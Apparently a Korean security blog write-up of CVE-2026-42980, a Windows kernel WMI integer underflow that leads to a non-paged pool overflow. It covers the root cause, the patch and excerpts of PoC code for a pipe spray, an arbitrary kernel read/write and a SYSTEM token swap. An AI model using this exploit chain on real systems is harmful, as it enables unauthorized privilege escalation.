[하루한줄] CVE-2026-42980 : WMI의 Integer Underflow로 인한 Elevation of Privilege (EoP)
URL
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980
Target
- ntoskrnl.exe
- 2026년 6월 Patch Tuesday 누적 업데이트 이전 빌드
Explain
WMI는 Windows Management Instrumentation의 약어로 ntoskrnl.exe에서 Windows 운영체제, 하드웨어, 프로세스를 조회하고 이벤트 제어 등을 수행하는 기능입니다.
CVE-2026-42980는 여러 개의 WMI 인스턴스 조회 항목을 받아 결과를 하나의 출력 영역에 이어서 WNODE_SINGLE_INSTANCE 구조체에 담아 기록하는 함수 WmipQuerySingleMultiple 에서 발생합니다. 해당 기능은 METHOD_BUFFERED 방식을 사용하므로 I/O manager가 non paged pool에 커널 버퍼인 SystemBuffer를 만들어 이를 통해 입출력을 처리합니다. WmipQuerySingleMultiple 함수에서는 WMI 조회가 끝난 후 결과 크기를 8바이트 단위로 길이를 올림합니다. METHOD_BUFFER 에서의 OutputBuffer는 길이가 정해진 SystemBuffer를 사용합니다. 이때, 결과를 OutputBuffer에 넣을 때 올림한 길이에 대한 범위를 검사하지 않고 남은 OutputBuffer 길이를 계산하면서 Integer Underflow가 발생합니다. 이를 통해 긴 길이의 결과를 반환할 수 있게 되면서, 커널 버퍼인 SystemBuffer에서 non paged pool overflow가 발생합니다.
non paged pool의 WMI SystemBuffer에 인접하게 named pipe객체를 배치하고 해당 취약점을 활용하여 AAR과 AAW를 얻을 수 있습니다. 이를 통해 SYSTEM process의 토큰 값을 덮어 익스플로잇 할 수 있습니다.
Root Cause
CVE-2026-42980은 Integer Underflow로 인해 Heap based buffer overflow가 발생합니다.
① Integer Underflow : Output Buffer Length 계산 검증 미흡
WmipQuerySingleMultiple은 여러 개의 WMI 인스턴스 조회 항목을 받아 결과를 하나의 출력 영역에 이어서 기록합니다. 이때, Output Buffer에 저장하는 값은 조회한 WMI 결과 값의 올림하여 8바이트 정렬 값이지만, 정렬 후 크기는 검증하지 않고 정렬 전 크기만 Output Buffer Length와 비교하여 검증합니다.
WmipQuerySingleMultiple코드는 METHOD_BUFFERED 방식으로 호출된 IOCTL 입니다.
SetExecuteSI = WmipQuerySingleMultiple(
argIrp,
1,
(char *)ioctlSystemBuffer, //output Buffer
outputBufferLength,
ioctlSystemBuffer, //input Buffer
*(_DWORD *)ioctlSystemBuffer,
0,
0,
(unsigned int *)&Handle);
WmipQuerySingleMultiple 함수를 호출 할 때 같은버퍼로 output, input 처리합니다. 이때 전달되는 버퍼가 METHOD_BUFFERED 방식으로 만들어진 커널 버퍼 SystemBuffer가 output과 input을 동시에 처리합니다.
WmipQuerySingleMultiple 함수는 WNODE_SINGLE_INSTANCE 구조체에 결과를 담아 전달합니다.
wnodeCapacity = outputLengthRemain;
...
memmove(&wnode->VariableData[2], nameCopySource, nameBytesToCopy);
resultSize = wnode->WnodeHeader.BufferSize;
if ( (int)WmipQuerySetExecuteSI(
currentGuidObject,
Irp,
argMode,
1u,
&wnode->WnodeHeader,
wnodeCapacity, //outputLengthRemain
&resultSize) < 0 ) //[1]
goto LABEL_37;
// WmipQuerySetExcuteSI 함수 내부
if ( *returnedSizePtr > argWnodeCapacity ) status = -1073741811;
먼저 사용자가 조회하고자 하는 이름을 빈 wnode 구조체에 작성합니다. 이후 [1]에서 실제 조회를 수행하고 이 때 변수 resultSize에 wnode 구조체에 값을 채운 총 크기가 전달됩니다. 만약, resultSize가 outputLengthRemain 즉, 남은 outputBuffer의 길이보다 작으면 실패합니다.
Provider의 조회 결과가 성공한다면, 조회한 결과 크기를 8바이트 단위로 정렬하여 다음 WNODE의 위치를 계산합니다.
alignedSize = (resultSize + 7) & 0xFFFFFFF8; //resultSize를 8바이트 올림 정렬
totalBytes += alignedSize;
totalBytesTemp = totalBytes;
outputLengthRemain -= alignedSize; // Root Cause : 전체 길이에서 정렬한 길이를 뺀다
nextWnode = (WNODE_SINGLE_INSTANCE *)((char *)outCursor + alignedSize);
resultSize는 provider 조회 뒤, 정렬 전 결과 크기이고, alignedSize는 다음 구조체를 위해 정렬한 크기입니다. outputLengthRemain은 output buffer에 남은 길이를 추적하는 값입니다. 이 코드에는 alignedSize <= outputLengthRemain 검사가 없습니다.
outputLengthRemain는 unsigned 32비트이므로, alignedSize의 값이 outputLengthRemain보다 커진다면 Integer Underflow가 발생합니다.
② Heap-based Buffer Overflow : Non-paged pool kernel buffer, SystemBuffer overflow
이후 다음 WNODE 에 대해서 작업이 수행됩니다. 이 때, Integer Underflow로 outputLength에는 가용 가능한 길이가 남아있는 것으로 인지할 수 있습니다.
if ( forceScratch || outputLengthRemain < minSize ) //[2]
{
if ( minSize > scratchCapacity )
{
if ( scratchWnode != (WNODE_SINGLE_INSTANCE *)stackScratchBuffer )
ExFreePoolWithTag(scratchWnode, 0);
[2]에서 minSize는 WNODE 구조체의 최소 크기입니다. 만약 최소 크기보다 작게 남아있다면, 임시 pool을 할당하여 WNODE 구조체를 해당 부분에 할당합니다. 하지만, 취약점이 트리거되면 Integer Underflow로 인해 가용 가능한 길이가 남아있다고 판단하게 됩니다.
memmove(&wnode->VariableData[2], nameCopySource, nameBytesToCopy);
취약점이 트리거 되었을 때, 정상 경로와 같은 경로로 진입하게 되면서 kernel buffer인 SystemBuffer에 memmove를 수행합니다. 해당 WMI 이름의 길이가 길어진다면 총 SystemBuffer의 길이를 넘어가면서 non paged pool에 위치한 SystemBuffer에 overflow가 발생하면서 최종적으로 Heap-based Buffer Overflow가 발생합니다.
PoC
먼저 공개된 PoC에 따르면, 첫 WMI 항목으로 Integer Underflow를 발생시키고, 이후 Heap-based Buffer Overflow로 memmove를 수행시켜 AAR과 AAW를 수행합니다.
non paged pool에
named pipe객체를 스프레이 합니다.for (int i = 0; i < PIPESIZE; i++) { CreateSprayPipe(&pipes[i]); if (i % 0x100 == 0) printf("[*] Created %d pipes...\n", i); } CreateSprayPipe(&holder); printf("[+] Total pipes created: %d + 1 holder\n", PIPESIZE);GUID 후보를 비교하여 8바이트 정렬이 되는 유효한 WMI 핸들을 찾습니다.
8바이트 배수의 크기를 가지고 있는 WMI 호출의 경우,
resultSize와alignedSize의 차이가 존재하지 않습니다. 따라서WmiQueryAllDataW로 이름이 있는 인스턴스를 찾고, 활용할만한 WMI 핸들의 정보를 수집합니다.WMI query를 만들고
DeviceIoControl로 넘겨서 취약점을 트리거합니다.*(ULONG*)ctx->inbuffer = WMI_QSM_ITEM_COUNT_TRIGGER; WMI_QSM_ITEM* items = (WMI_QSM_ITEM*)(ctx->inbuffer + WMI_QSM_INPUT_HEADER_SIZE); /* * First WNODE / item: * * WmipQuerySingleMultiple computes: * * requiredSize = ALIGN8(DataSize + 73) * * The chosen DataSize must make requiredSize pass the initial check against * ctx->outLen. The important part is that WmipQuerySetExecuteSI later * returns a larger actualWnodeSize, which drives the unsigned underflow. */ items[0].InstanceCookieOrHandle = cfg->firstWnode.InstanceCookieOrHandle; items[0].DataSize = cfg->firstWnode.DataSize; items[0].DataFlags = 0; items[0].Reserved = 0; items[0].InputData = (UINT64)(ULONG_PTR)cfg->firstWnode.Data; /* * Second WNODE / item: * * This item is written using the corrupted advanced cursor. The controlled * copy in the kernel is effectively: * * memmove(wnode->InstanceData, secondWnode.Data, secondWnode.DataSize); */ items[1].InstanceCookieOrHandle = cfg->secondWnode.InstanceCookieOrHandle; items[1].DataSize = cfg->secondWnode.DataSize; items[1].DataFlags = 0; items[1].Reserved = 0; items[1].InputData = (UINT64)(ULONG_PTR)cfg->secondWnode.Data; printf("[*] BuildWmiQSMInput: itemCount=%u\n", WMI_QSM_ITEM_COUNT_TRIGGER);PoC는 입력 앞부분에
ItemCount=2를 쓰고 그 뒤에 두 개의 0x18바이트 항목을 놓습니다. 첫 항목에는 유효한 핸들·인스턴스 이름을 넣어R < ALIGN8(R)인 결과를 만들고, 둘째 항목에는 길고 제어 가능한 이름 바이트열의 주소와 길이를 넣습니다.printf("[*] trigger: DeviceIoControl ioctl=0x%X inLen=0x%X outLen=0x%X\n", IOCTL_WMI_QUERY_SINGLE_MULTIPLE, ctx->inLen, ctx->outLen); BOOL ok = DeviceIoControl( hDevice, IOCTL_WMI_QUERY_SINGLE_MULTIPLE, ctx->inbuffer, ctx->inLen, ctx->outbuffer, ctx->outLen, &returned, NULL );해당 Query를 넘겨주게 되면,
ntoskrnl에서WNODE를 조회하면서 취약점이 트리거 됩니다.AAR / AAW로 익스플로잇
트리거된 취약점 객체에 인접한 named pipe에 대한 정보를 얻어낸 후, AAR을 수행합니다.
printf("[+] AAR setup complete\n"); NtFsControlFile(pipes[overflowidx].w, NULL, NULL, NULL, &isb, 0x119FF8, DummyBuffer, 0x1000, NULL, 0); irpptr = readQWORD(blink + 0x40); printf("[+] IRP @ 0x%llX\n", (unsigned long long)irpptr);printf("\n=== PHASE 14: Token Swap ===\n"); tokendata[0] = 0; tokendata[1] = SystemToken; setuparw(g_overwriteDataPtr, CurrentProcess + TOKENOFFSET - 8, tokendata, 0x10); ReadDataEntry(holder, DummyBuffer, 0xff0); trigger(hDevice); dwRead = 0; ReadFile(pipes[overflowidx].r, DummyBuffer, 1, &dwRead, NULL);첫 덮어쓰기는 pipe 데이터 항목의 길이 관련 필드를 변형해
PeekNamedPipe가 원래 범위를 넘어 읽도록 노립니다.ExtractNpfsLinksFromLeak는 누출된 값에서 다음 단계에 필요한 포인터를 찾습니다. 이후setupaar와readQWORD는 지정한 커널 주소를 읽는 경로를 만들고,setuparw는 쓰기 경로를 이용해 현재 프로세스의 토큰 필드에 SYSTEM 프로세스의 토큰 값을 기록합니다.

Patch
취약한 코드는 크기 검사 없이 alignedSize를 빼는 부분이었습니다.
alignedSize = (resultSize + 7) & 0xFFFFFFF8; //resultSize를 8바이트 올림 정렬
//...
outputLengthRemain -= alignedSize; // Root Cause : 전체 길이에서 정렬한 길이를 뺀다
2026년 6월 Patch Tuesday에서 해당 부분에 대한 검증이 추가되었습니다.
remainingAfterSubtract는 뺄셈 결과를 잠시 담습니다. alignedSize < outputLengthRemain인 경우에만 그 결과를 남은 길이로 채택하고, 그렇지 않으면 0을 기록합니다.
alignedSize = (resultSize + 7) & 0xFFFFFFF8;
//...
remainingAfterSubtract = outputLengthRemain - alignedSize;
if ( (unsigned int)Feature_1045423416__private_IsEnabledDeviceUsageNoInline() )
outputLengthRemain = alignedSize < outputLengthRemain ? remainingAfterSubtract : 0;
else
outputLengthRemain = remainingAfterSubtract;
Reference
https://learn.microsoft.com/en-us/windows/win32/wmisdk/about-wmi
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.